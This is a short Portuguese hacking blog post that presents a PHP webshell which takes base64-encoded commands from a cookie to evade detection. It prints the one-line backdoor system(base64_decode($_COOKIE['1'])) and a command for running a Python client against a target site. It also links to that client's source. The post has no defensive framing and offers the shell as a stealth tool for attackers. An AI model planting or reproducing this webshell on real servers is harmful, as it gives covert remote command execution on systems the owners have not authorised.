Hacker Page
Webshell via COOKIE
O Script feito em PHP usa COOKIE uma variável global em vez de GET e POST em sua WebShell para ser mais furtivo.
Escrito por Ahmed Shawky @lnxg33k
O código a seguir é uma alternativa para os métodos GET e POST
como ele usa uma variável global _COOKIE.
Deve funcionar da seguinte forma:
![system(base64_decode($_COOKIE["1"]));](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMdXbhPoYg7pZDY-ZbzRnI7IWgZHYFjpaPGHrIgQoe_tj-P8wn8TlvoB24aaEUHubFvgmCt5ckAQeQyaNTRuDUea3SxL8s0SfiQpXjQhXacuqJV4bcxMVliZyxkQD5RGCeqkHTMJQwUS0/s1600/Sem+t%C3%ADtulo.png "system(base64_decode($_COOKIE[\"1\"]));")
O código feito em Python, Explora isso abrindo um terminal para execução dos comandos desejados.
./cookie.py http://alvo.com.br/cookie.php
#BAIXAR https://github.com/lnxg33k/misc/blob/master/cookie.py
0 comentários